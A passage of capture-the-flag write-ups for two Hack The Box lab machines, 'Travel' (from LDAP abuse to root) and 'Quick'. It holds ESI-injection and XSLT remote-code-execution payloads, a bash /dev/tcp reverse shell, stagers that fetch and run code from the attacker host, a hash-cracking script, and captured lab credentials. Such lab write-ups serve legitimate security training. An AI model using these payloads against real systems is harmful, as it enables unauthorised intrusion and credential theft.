There is an **`AuthorizedKeysCommand`** in the **`sshd_config`** file. **`/usr/bin/sss_ssh_authorizedkeys`** will be responsible to supply public keys that will be used for authentication. This helps with not having public keys locally stored into the server.

#### 5.1.2 User Directory Enumeration

```bash
lynik-admin@travel:~$ id

  uid=1001(lynik-admin) gid=1001(lynik-admin) groups=1001(lynik-admin)

lynik-admin@travel:~$ ls -la

  [...omitted...]
  -rw-r--r-- 1 lynik-admin lynik-admin   82 Apr 23  2020 .ldaprc
  [...omitted...]
  -rw------- 1 lynik-admin lynik-admin  861 Apr 23  2020 .viminfo

lynik-admin@travel:~$ cat .ldaprc

  HOST ldap.travel.htb
  BASE dc=travel,dc=htb
  BINDDN cn=lynik-admin,dc=travel,dc=htb

lynik-admin@travel:~$ cat .viminfo

  # Registers:
  ""1    LINE    0
        BINDPW Theroadlesstraveled
  |3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"
```

There is an LDAP bind password for the user **`lynick-admin`** cached in the **`.viminfo`** file as well the LDAP configuration for the said user.

### 5.2 LDAP Enumeration

#### 5.2.1 ldapsearch

Looking at the available LDAP objects:

```bash
lynik-admin@travel:~$ ldapsearch -x -b 'dc=travel,dc=htb' -H ldap://ldap.travel.htb -w "Theroadlesstraveled" "objectClass=*"

  # lynik-admin, travel.htb
  dn: cn=lynik-admin,dc=travel,dc=htb
  description: LDAP administrator
  objectClass: simpleSecurityObject
  objectClass: organizationalRole
  cn: lynik-admin
  userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
  [...omitted...]
  # domainusers, groups, linux, servers, travel.htb
  dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
  memberUid: frank
  memberUid: brian
  memberUid: christopher
  memberUid: johnny
  memberUid: julia
  memberUid: jerry
  memberUid: louise
  memberUid: eugene
  memberUid: edward
  memberUid: gloria
  memberUid: lynik
  gidNumber: 5000
  cn: domainusers
  objectClass: top
  objectClass: posixGroup
  [...omitted...]
```

The current user, **lynik-admin**, is the LDAP Administrator which means everything here is pretty much under the user's control.

```bash
lynik-admin@travel:~$ ldapsearch -x -H ldap://ldap.travel.htb -w "Theroadlesstraveled" -b 'uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb'

  # brian, users, linux, servers, travel.htb
  dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
  uid: brian
  cn: Brian Bell
  sn: Bell
  givenName: Brian
  loginShell: /bin/bash
  uidNumber: 5002
  gidNumber: 5000
  homeDirectory: /home/brian
  objectClass: top
  objectClass: person
  objectClass: organizationalPerson
  objectClass: inetOrgPerson
  objectClass: posixAccount
  objectClass: shadowAccount
```

There are many other users in the domain but I guess **`brian`**'s the lucky one.

#### 5.2.2 ldapmodify

This will be an attempt to edit the user, **`brian`**'s LDAP entry.

```bash
lynik-admin@travel:~$ cat /etc/group

  [...omitted...]
  sudo:x:27:trvl-admin
  [...omitted...]
```

First is to create an **ldif** file that will be used to add a public key and change the group and password of the user:

```bash
lynik-admin@travel:~$ echo "dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb" > /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "changetype: modify" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "add: objectClass" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "objectClass: ldapPublicKey" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "add: sshPublicKey" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DI4dq2RmPw/RCmKy6ss0SBs9X3qnK3UdM71KFOQzOvdhgD8F6rpUe3G2xxawWov2qeajOdE3bfmrfqH9EMoh1B2FgOoDP+/7LcvA2NhLXHtVPI1lvvmrI6BceLacnRTXxHsZbsJnF6CkHrDSZhhzmK0t8GEKocIabkfoweD+B+cO2/K3+D0Wm3eiNCyQldb/OydSgOxsK9/2Irp/X1WWErgtvzOAXCKYnQRJ154Xr907FEFl3jskE8bHnRJ7qHej3pM1epw6ecAeUpXiayjlSibT1rzTEEInx73NBeTq25Bew7TJ6C681ExlUvDh2jOeprvj1svP79lyaUckrB91g604D7AarJKzMrQlNj9/obBNFOgiOVNmvEtKDC2InKU6XMTSaRu7GeDw1I11cjRHYx8f0G2D/dEpHReupg+cIlvf8K7p5CRLmiXmDBPjPO7WfBBB3E4ZkOFvt+a3pjyVTNNUXT/ZDGtFNYSrmsJkJWL7yt6yKpRszOW63wZOfF0=" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "replace: gidNumber" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "gidNumber:27" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "replace: userPassword" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ echo "userPassword: 1stepcloser" >> /dev/shm/brian.ldif

lynik-admin@travel:~$ ldapmodify -x -H ldap://ldap.travel.htb -w "Theroadlesstraveled" -D 'cn=lynik-admin,dc=travel,dc=htb' -f /dev/shm/brian.ldif

  modifying entry "uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb"
```

```bash
lynik-admin@travel:~$ /usr/bin/sss_ssh_authorizedkeys brian

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DI4dq2RmPw/RCmKy6ss0SBs9X3qnK3UdM71KFOQzOvdhgD8F6rpUe3G2xxawWov2qeajOdE3bfmrfqH9EMoh1B2FgOoDP+/7LcvA2NhLXHtVPI1lvvmrI6BceLacnRTXxHsZbsJnF6CkHrDSZhhzmK0t8GEKocIabkfoweD+B+cO2/K3+D0Wm3eiNCyQldb/OydSgOxsK9/2Irp/X1WWErgtvzOAXCKYnQRJ154Xr907FEFl3jskE8bHnRJ7qHej3pM1epw6ecAeUpXiayjlSibT1rzTEEInx73NBeTq25Bew7TJ6C681ExlUvDh2jOeprvj1svP79lyaUckrB91g604D7AarJKzMrQlNj9/obBNFOgiOVNmvEtKDC2InKU6XMTSaRu7GeDw1I11cjRHYx8f0G2D/dEpHReupg+cIlvf8K7p5CRLmiXmDBPjPO7WfBBB3E4ZkOFvt+a3pjyVTNNUXT/ZDGtFNYSrmsJkJWL7yt6yKpRszOW63wZOfF0=
```

After running **`/usr/bin/sss_ssh_authorizedkeys`** for the user, **`brian`**, it is verified that the public key was successfully written for the user.

## PART 6 : PRIVESC (brian -> root)

```bash
$ ssh -i ~/Desktop/travel_brian.id_rsa -l brian 10.10.10.189

brian@travel:~$ id

  uid=5002(brian) gid=27(sudo) groups=27(sudo),5000(domainusers)

brian@travel:~$ sudo su - 
[sudo] password for brian: 1stepcloser

root@travel:~# id

  uid=0(root) gid=0(root) groups=0(root)

root@travel:~# cat /root/root.txt

  1c4d4d54d3e6c1931e7b3fa5ac28edb9
```

The added group (**`sudo`**) and the password change to **`1stepcloser`** were successful as well.

## PART 7 : REFERENCES

* <https://simplepie.org/>
* <https://github.com/WordPress/WordPress/blob/master/wp-includes/class-simplepie.php>
* <https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache.php>
* <https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache/Memcache.php>
* <https://riptutorial.com/php/example/4604/--sleep---and---wakeup-->
* <https://blog.scalesec.com/just-in-time-ssh-provisioning-7b20d9736a07>
* <https://simp.readthedocs.io/en/master/user_guide/User_Management/LDAP.html>
* <https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system>


# HTB Quick

10.10.10.186 | 40 pts | Synack Track

## PART 1 : INITIAL ENUMERATION

### 1.1 nmap

```bash
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -v 10.10.10.186

  PORT     STATE SERVICE
  22/tcp   open  ssh
  9001/tcp open  tor-orport

$ nmap -oN nmap-tcp -p 22,9001 -sC -sV -v 10.10.10.186

  PORT     STATE SERVICE VERSION
  22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
  |   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
  |_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
  9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
  | http-methods: 
  |_  Supported Methods: GET HEAD POST
  |_http-server-header: Apache/2.4.29 (Ubuntu)
  |_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

$ sudo nmap -oN nmap-udp.initial -sU -v 10.10.10.186

  PORT    STATE         SERVICE
  443/udp open|filtered https
```

## PART 2 : PORT ENUMERATION

### 2.1 TCP PORT 9001 : HTTP

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcmU7tSUrzO11gFnnF%2F-MfcnDqA5ZankT3NmiBU%2Fimage.png?alt=media\&token=87eab8d2-a5ec-41b9-983f-28bdc86be207)

#### 2.1.1 Crawling `index.php` for "href" links:

```bash
$ curl http://10.10.10.186:9001 | grep -E '<a.*href=.*/a>' | sed -E 's/^.*<a.*href="(.*)">.*/\1/g'

  /login.php
  https://portal.quick.htb
  /clients.php
```

#### 2.1.2 Directory brute forcing using `gobuster`

```bash
$ gobuster dir -o 9001_gobuster.txt -u http://10.10.10.186:9001 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,txt

  /index.php            (Status: 200) [Size: 3353]
  /search.php           (Status: 200) [Size: 1]   
  /home.php             (Status: 200) [Size: 86]  
  /login.php            (Status: 200) [Size: 4345]
  /clients.php          (Status: 200) [Size: 2698]
  /db.php               (Status: 200) [Size: 0]   
  /ticket.php           (Status: 200) [Size: 86]
```

#### 2.1.3 /login.php -- Login Page

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcmU7tSUrzO11gFnnF%2F-MfcnFdwqlP-Q3DncK6x%2Fimage.png?alt=media\&token=43b22472-5b61-4e03-88da-a27c54aa631d)

#### 2.1.4 /clients.php -- Client List

| # | Client              | Country |
| - | ------------------- | ------- |
| 1 | QConsulting Pvt Ltd | UK      |
| 2 | Darkwing Solutions  | US      |
| 3 | Wink                | UK      |
| 4 | LazyCoop Pvt Ltd    | China   |
| 5 | ScoobyDoo           | Italy   |
| 6 | PenguinCrop         | France  |

#### 2.1.5 /index.php -- Potential Usernames

| Name  | Company             | Possible Email                                |
| ----- | ------------------- | --------------------------------------------- |
| Tim   | Qconsulting Pvt Ltd | <tim@qconsulting.co.uk>                       |
| Roy   | DarkWng Solutions   | <roy@darkwing.us>; <roy@darkwingsolutions.us> |
| Elisa | Wink Media          | <elisa@wink.co.uk>; <elisa@winkmedia.co.uk>   |
| James | LazyCoop Pvt Ltd    | <james@lazycoop.com.cn>                       |

### 2.2 UDP PORT 443 : HTTPS

```bash
$ /opt/curl/src/curl --http3 https://portal.quick.htb
```

```markup
<p> Welcome to Quick User Portal</p>
<ul>
  <li><a href="index.php">Home</a></li>
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>
</ul>
```

```
$ /opt/curl/src/curl --http3 https://portal.quick.htb/index.php?view=docs
```

```markup
<h1>Quick | References</h1>
<ul>
  <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
  <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
```

```
$ /opt/curl/src/curl --http3 --output Connectivity.pdf https://portal.quick.htb/docs/Connectivity.pdf
```

> How to Connect ? 1. Once router is up and running just navigate to <http://172.15.0.4/quick_login.jsp> 2. You can use your registered email address and Quick4cc3$$ as password. 3. Login and change your password for WiFi and ticketing system. 4. Don’t forget to ping us on chat whenever there is an issue.

## PART 3 : EXPLOITATION

### 3.1 /login.php

* **USERNAME**: <elisa@wink.co.uk>
* **PASSWORD**: Quick4cc3$$

  ```
  $ cookie='Cookie: PHPSESSID=4oqa66ge8q5dobkgich32rati2'
  ```

### 3.2 /home.php

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcmU7tSUrzO11gFnnF%2F-MfcnJmpLh8cFYAVG-zu%2Fimage.png?alt=media\&token=127d84a7-d571-4b25-b507-cf13fb5fe030)

```bash
$ curl -H $cookie -I http://quick.htb:9001/home.php

  HTTP/1.1 200 OK
  Server: Apache/2.4.29 (Ubuntu)
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Content-Type: text/html; charset=UTF-8
  Via: 1.1 localhost (Apache-HttpClient/4.5.2 (cache))
  X-Powered-By: Esigate
  Content-Length: 2
```

### 3.3 /ticket.php

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfcmU7tSUrzO11gFnnF%2F-MfcnMLk9QXuvbZI47Qo%2Fimage.png?alt=media\&token=fc863a88-f385-49aa-bf66-f258b20a3f6e)

```bash
$ curl -H $cookie http://quick.htb:9001/ticket.php
```

```markup
<form action="" method="POST">
    <center><br /><br />
    <table  border="0">
        <tr>
            <td align="center" >Title:</td>
            <td align="right" ><input type="text" name="title"/></td>
        </tr>
        <tr>
            <td align="center">Message:</td><td align="right" ><textarea rows="7" cols="50" name="msg">Describe your query</textarea></td>
        </tr>
        <tr>
            <td align="center" colspan="3"><input type="submit"  value="Submit"/></td>
        </tr>
    </table>
    <input type="hidden" name="id" value="TKT-3874"/>
</form>
```

### 3.4 ESI Injection Part 1 (RFI)

1. Create a file, **something.html**:

   ```
   jebidiah was here
   ```
2. Start an HTTP Server using python:

   ```
   $ sudo python -m SimpleHTTPServer 80
   ```
3. Raise ticket with **ESI Server Include** payload that will request **something.html**:

   ```
   $ payload='<esi:include src="http://10.10.14.6/something.html" />'
   $ ticket='TKT-0007'
   $ curl -X POST -d "title=test&msg=$payload&id=$ticket" -H $cookie http://quick.htb:9001/ticket.php | tidy
   ```

   ```markup
   <script>
       alert("Ticket NO : \"TKT-0007\" raised. We will answer you as soon as possible");
       window.location.href="/home.php";
   </script>
   ```
4. Search the generated ticket:

   ```
   $ curl -G -d "search=$ticket" -H $cookie http://quick.htb:9001/search.php | tidy
   ```

   ```markup
   <table border="2" width="100%">
       <tr>
           <td style="font-size:180%;">ID</td>
           <td style="font-size:180%;">Title</td>
           <td style="font-size:180%;">Description</td>
           <td style="font-size:180%;">Status</td>
       </tr>
       <tr>
           <td style="font-size:180%;">TKT-0007</td>
           <td style="font-size:180%;">test</td>
           <td style="font-size:180%;">jebidiah was here</td>
           <td style="font-size:180%;">open</td>
       </tr>
   </table>
   ```
5. Check the HTTP requests:

   ```
   10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /something.html HTTP/1.1" 200 -
   ```

### 3.5 ESI Injection Part 2 (RCE)

1. Create a file, **test.xsl**:

   ```markup
   <?xml version="1.0" ?>
   <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:output method="xml" omit-xml-declaration="yes"/>
       <xsl:template match="/"
       xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
       xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
           <root>
               <xsl:variable name="cmd">
                   <![CDATA[curl http://10.10.14.6/something.html]]>
               </xsl:variable>
               <xsl:variable name="rtObj" select="rt:getRuntime()"/>
               <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
               Process: <xsl:value-of select="$process"/>
               Command: <xsl:value-of select="$cmd"/>
           </root>
       </xsl:template>
   </xsl:stylesheet>
   ```
2. Start an HTTP Server using python:

   ```
   $ sudo python -m SimpleHTTPServer 80
   ```
3. Raise ticket with **ESI Server Include** payload that will request **test.xsl**:

   ```
   $ payload='<esi:include src="http://localhost:9001" stylesheet="http://10.10.14.6/test3.xsl"></esi:include>'
   $ ticket='TKT-0008'
   $ curl -X POST -d "title=test&msg=$payload&id=$ticket" -H $cookie http://quick.htb:9001/ticket.php | tidy
   ```

   ```markup
   <script>
       alert("Ticket NO : \"TKT-0008\" raised. We will answer you as soon as possible");
       window.location.href="/home.php";
   </script>
   ```
4. Search the generated ticket:

   ```
   $ curl -G -d "search=$ticket" -H $cookie http://quick.htb:9001/search.php | tidy
   ```

   ```markup
   <table border="2" width="100%">
       <tr>
           <td style="font-size:180%;">ID</td>
           <td style="font-size:180%;">Title</td>
           <td style="font-size:180%;">Description</td>
           <td style="font-size:180%;">Status</td>
       </tr>
       <tr>
           <td style="font-size:180%;">TKT-0014</td>
           <td style="font-size:180%;">test</td>
           <td style="font-size:180%;">
               Process: Process[pid=2807, exitValue="not exited"] 
               Command: curl http://10.10.14.6/something.html
           </td>
           <td style="font-size:180%;">open</td>
       </tr>
   </table>
   ```
5. Check the HTTP requests:

   ```
   10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /test3.xsl HTTP/1.1" 200 -
   10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /something.html HTTP/1.1" 200 -
   ```

## PART 4 : GENERATING A SHELL

### 4.1 Reverse Shell

1. Write a reverse shell on a file, **index.html**:

   ```bash
   bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'
   ```
2. Create a stager file for the reverse shell -- **stager.xsl**:

   ```markup
   <?xml version="1.0" ?>
   <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:output method="xml" omit-xml-declaration="yes"/>
       <xsl:template match="/"
       xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
       xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
           <root>
               <xsl:variable name="cmd">
                   <![CDATA[curl --output /tmp/rev http://10.10.14.6]]>
               </xsl:variable>
               <xsl:variable name="rtObj" select="rt:getRuntime()"/>
               <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
               Process: <xsl:value-of select="$process"/>
               Command: <xsl:value-of select="$cmd"/>
           </root>
       </xsl:template>
   </xsl:stylesheet>
   ```
3. Raise a ticket that will request **stager.xsl**:

   ```
   $ payload='<esi:include src="http://localhost:9001" stylesheet="http://10.10.14.6/stager.xsl"></esi:include>'
   $ ticket='TKT-0069'
   $ curl -X POST -d "title=test&msg=$payload&id=$ticket" -H $cookie http://quick.htb:9001/ticket.php
   ```
4. Search the generated ticket then view the HTTP requests on the `python` server:

   ```
   $ curl -G -d "search=$ticket" -H $cookie http://quick.htb:9001/search.php | tidy
   ```

   ```markup
   <table border="2" width="100%">
       <tr>
           <td style="font-size:180%;">ID</td>
           <td style="font-size:180%;">Title</td>
           <td style="font-size:180%;">Description</td>
           <td style="font-size:180%;">Status</td>
       </tr>
       <tr>
           <td style="font-size:180%;">TKT-0069</td>
           <td style="font-size:180%;">test</td>
           <td style="font-size:180%;">
               Process: Process[pid=3448, exitValue="not exited"] 
               Command: curl --output /tmp/rev http://10.10.14.6
           </td>
           <td style="font-size:180%;">open</td>
       </tr>
   </table>
   ```

   ```
   10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /stager.xsl HTTP/1.1" 200 -
   10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET / HTTP/1.1" 200 -
   ```
5. Create another file that will call the reverse shell -- **shell.xsl**:

   ```markup
   <?xml version="1.0" ?>
   <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:output method="xml" omit-xml-declaration="yes"/>
       <xsl:template match="/"
       xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
       xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
           <root>
               <xsl:variable name="cmd">
                   <![CDATA[bash /tmp/rev]]>
               </xsl:variable>
               <xsl:variable name="rtObj" select="rt:getRuntime()"/>
               <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
               Process: <xsl:value-of select="$process"/>
               Command: <xsl:value-of select="$cmd"/>
           </root>
       </xsl:template>
   </xsl:stylesheet>
   ```
6. Start a **netcat** listener:

   ```
   $ sudo nc -lvp 443
   ```
7. Raise a ticket that will request **shell.xsl**:

   ```
   $ payload='<esi:include src="http://localhost:9001" stylesheet="http://10.10.14.6/shell.xsl"></esi:include>'
   $ ticket='TKT-0420'
   $ curl -X POST -d "title=test&msg=$payload&id=$ticket" -H $cookie http://quick.htb:9001/ticket.php
   ```
8. Search the generated ticket then view the HTTP requests on the `python` server:

   ```
   $ curl -G -d "search=$ticket" -H $cookie http://quick.htb:9001/search.php | tidy
   ```

   ```markup
   <table border="2" width="100%">
       <tr>
           <td style="font-size:180%;">ID</td>
           <td style="font-size:180%;">Title</td>
           <td style="font-size:180%;">Description</td>
           <td style="font-size:180%;">Status</td>
       </tr>
       <tr>
           <td style="font-size:180%;">TKT-0069</td>
           <td style="font-size:180%;">test</td>
           <td style="font-size:180%;">
               Process: Process[pid=3480, exitValue="not exited"] 
               Command: bash /tmp/rev
           </td>
           <td style="font-size:180%;">open</td>
       </tr>
   </table>
   ```

   ```
   10.10.10.186 - - [xx/xxx/xxxx xx:xx:xx] "GET /shell.xsl HTTP/1.1" 200 -
   ```
9. Look back to the **netcat** listener:

   ```
   sam@quick:~$ id

     uid=1000(sam) gid=1000(sam) groups=1000(sam)

   sam@quick:~$ cat /etc/passwd | grep -E 'sh$'

     root:x:0:0:root:/root:/bin/bash
     sam:x:1000:1000:sam:/home/sam:/bin/bash
     srvadm:x:1001:1001:,,,:/home/srvadm:/bin/bash

   sam@quick:~$ cat user.txt

     339096973b4f74d1d914f923620dd10f
   ```

### 4.2 Connection via SSH

1. Generating an RSA key pair:

   ```
   $ ssh-keygen

     Generating public/private rsa key pair.
     Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./id_rsa
     Enter passphrase (empty for no passphrase): 
     Enter same passphrase again:

   $ chmod 400 id_rsa
   ```
2. Add the public key to `/home/sam/.ssh/authorized_keys` using the reverse shell:

   ```
   sam@quick:~$ mkdir .ssh

   sam@quick:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM08yfr4LnEIwMdMN1RyMvEqfMXL+1OzvjbnZJ6Wp3pmG3lwBot9NKVFtSRPmb+U0c1b/4gmcWmxy+S+KEW8FIg7FRvHejBWFnFnRTnI1AKjab9ia+Na6ujT4e0OkE8+/wgJiUzKiDOdSD8uphSwwDdvwM+NnjY1gL0DTOZc6OsDmHwrNM6DQV+RQaqMfpsIPGhYHFJ39eU6jYhASicViF/PbdOhBS/ibsstCL0W15DBW68ugjOXZsoeNVIsoubzAhU82OzyeMENB2WEjUr8vkW6WnGqhpaETJJs7lnJclGxqCQOz78gIaBADQ9D9lmtI6wrSk5+WZH9nFhgBQsvRv1rEMTGJWwqNx4O9klp02GEauKzoknE1EWiQNMfIWQWImILCRmZtI4KgVl44OC1dH1znCdcf5vHK0lYvYUQpaXUEQxaGRC7uAqX+mcOOReaNaMXHLZmd3LBJXmYSTQkiAT/UaOi5nSuhbylT6DwlkrxlMookXUA8YCe5pC59SUlU=" >> .ssh/authorized_keys
   ```
3. Connect to the machine via SSH:

   ```
   $ chmod 400 id_rsa

   $ ssh -i id_rsa -l sam 10.10.10.186
   ```

## PART 5 : sam -> srvadm

### 5.1 Web Service Enumeration

```bash
sam@quick:~$ ls -l /var/www/

  drwxr-xr-x  2 root root 4096 Mar 20  2020 html
  drwxrwxrwx  2 root root 4096 Mar 21  2020 jobs
  drwxr-xr-x  6 root root 4096 Mar 21  2020 printer
```

#### 5.1.1 /var/www/html

Checking `/var/www/html/db.php` for database credentials:

```bash
sam@quick:~$ cat /var/www/html/db.php
```

```php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
```

Then using it to check for other user credentials stored in the database:

```bash
sam@quick:~$ mysql -udb_adm -pdb_p4ss -e "SHOW DATABASES;"

  +--------------------+
  | Database           |
  +--------------------+
  | information_schema |
  | mysql              |
  | performance_schema |
  | quick              |
  | sys                |
  +--------------------+

sam@quick:~$ mysql -udb_adm -pdb_p4ss -e "USE quick; SHOW TABLES;"

  +-----------------+
  | Tables_in_quick |
  +-----------------+
  | jobs            |
  | tickets         |
  | users           |
  +-----------------+

sam@quick:~$ mysql -udb_adm -pdb_p4ss -e "SELECT * FROM quick.users;"

  +--------------+------------------+----------------------------------+
  | name         | email            | password                         |
  +--------------+------------------+----------------------------------+
  | Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
  | Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
  +--------------+------------------+----------------------------------+

sam@quick:~$ echo -n 'Quick4cc3$$' | md5sum

  8c6f51e1061b8a1feceb569da5a94691  -
```

The password for `elisa@wink.co.uk`, although to be known as `Quick4cc3$$`, don't seem to match the hash stored in the database.

Seeing how the password hashes are generated:

```
sam@quick:~$ cat /var/www/html/login.php
```

```php
<?php 
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
    $email=$_POST["email"];
    $password = $_POST["password"];
    $password = md5(crypt($password,'fa'));
    $stmt=$conn->prepare("select email,password from users where email=? and password=?");
    $stmt->bind_param("ss",$email,$password);
    $stmt->execute();
    $result = $stmt->get_result();
    $num_rows = $result->num_rows;
    if($num_rows > 0)
       {
        session_start();
           $_SESSION["loggedin"]=$email;
           header("location: home.php");
       }
       else
       {
           echo '<script>alert("Invalid Credentials");window.location.href="/login.php";</script>';
       }
}
else
{?>
[...html...]
<?php } ?>
```

The plaintext password is passed through a `crypt()` function before hashing using `md5()`.

#### 5.1.2 /var/www/printer

Checking the running processes on the machine:

```bash
sam@quick:~$ ps -auwwx --forest | grep -B2 -E "^sam"

  root [...omitted...] /usr/sbin/cron -f
  root [...omitted...]  \_ /usr/sbin/CRON -f
  sam  [...omitted...]      \_ /bin/sh -c /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start
```

Checking the contents of `/home/sam/esigate-distribution-5.2/apps/esigate.properties`:

```bash
sam@quick:~$ cat /home/sam/esigate-distribution-5.2/apps/esigate.properties

  esigate.remoteUrlBase=http://localhost:80/
  esigate.mappings=/*
```

All services running via HTTP using localhost should be accessible via port 9001 based on the running process for ***Esigate***. And as previously inaccessible, there seems to be another deployed service in the machine:

```bash
sam@quick:~$ cat /etc/apache2/sites-enabled/000-default.conf | grep -v -E "#|^\s*$"
```

```markup
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
    AssignUserId srvadm srvadm
    ServerName printerv2.quick.htb
    DocumentRoot /var/www/printer
</VirtualHost>
```

There is a *printer* service running as **`printerv2.quick.htb`** but it is not accessible via port 9001. Looking at the open ports, there is indeed a service running on port 80:

```bash
sam@quick:~$ netstat -plnt

  Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
  tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
  tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.1:43735         0.0.0.0:*               LISTEN      -                   
  tcp6       0      0 :::9001                 :::*                    LISTEN      897/java            
  tcp6       0      0 127.0.0.1:8081          :::*                    LISTEN      897/java            
  tcp6       0      0 :::22                   :::*                    LISTEN      -
```

Since there is a service running on port 80, `printerv2.quick.htb` should be accessible locally but the virtual host name is not listed in the `/etc/hosts` file.

### 5.2 Cracking srvadm

Validating the way the password hashes are generated

```bash
$ php -a

php > echo md5(crypt('Quick4cc3$$', 'fa'));

  c6c35ae1f3cb19438e0199cfa72a9d9d
```

The password of **`elisa@wink.co.uk`** is indeed hashed as `c6c35ae1f3cb19438e0199cfa72a9d9d` in the database. And using the same functions to crack the password of **`srvadm@quick.htb`**:

```php
<?php
    $wordlist = "/usr/share/wordlists/rockyou.txt";
    $wordlist_file = fopen($wordlist, "r");

    while(! feof($wordlist_file)) {
        $password = substr(fgets($wordlist_file), 0, -1);
        $hash = md5(crypt($password, 'fa'));

        if ($hash == "e626d51f8fbfd1124fdea88396c35d05") {
            echo $password;
            break;
        }
    }

    fclose($wordlist_file);
?>
```

```bash
$ php cracker.php

  yl51pbx

$ php -a

php > echo md5(crypt('yl51pbx', 'fa'));

  e626d51f8fbfd1124fdea88396c35d05
```

The password has been successfully cracked -- `yl51pbx`. Using this password to switch users using `su` does not work so access to **printerv2.quick.htb** might be necessary for privilege escalation.

### 5.3 Forwarding `printerv2`

Getting the service to run locally using port forwarding:

```bash
$ ssh -i id_rsa -l sam -L 9001:127.0.0.1:80 -f -N 10.10.10.186
```

Afterwards, point `printerv2.quick.htb` to `127.0.0.1` in `/etc/hosts`:

```bash
127.0.0.1    localhost printerv2.quick.htb
```

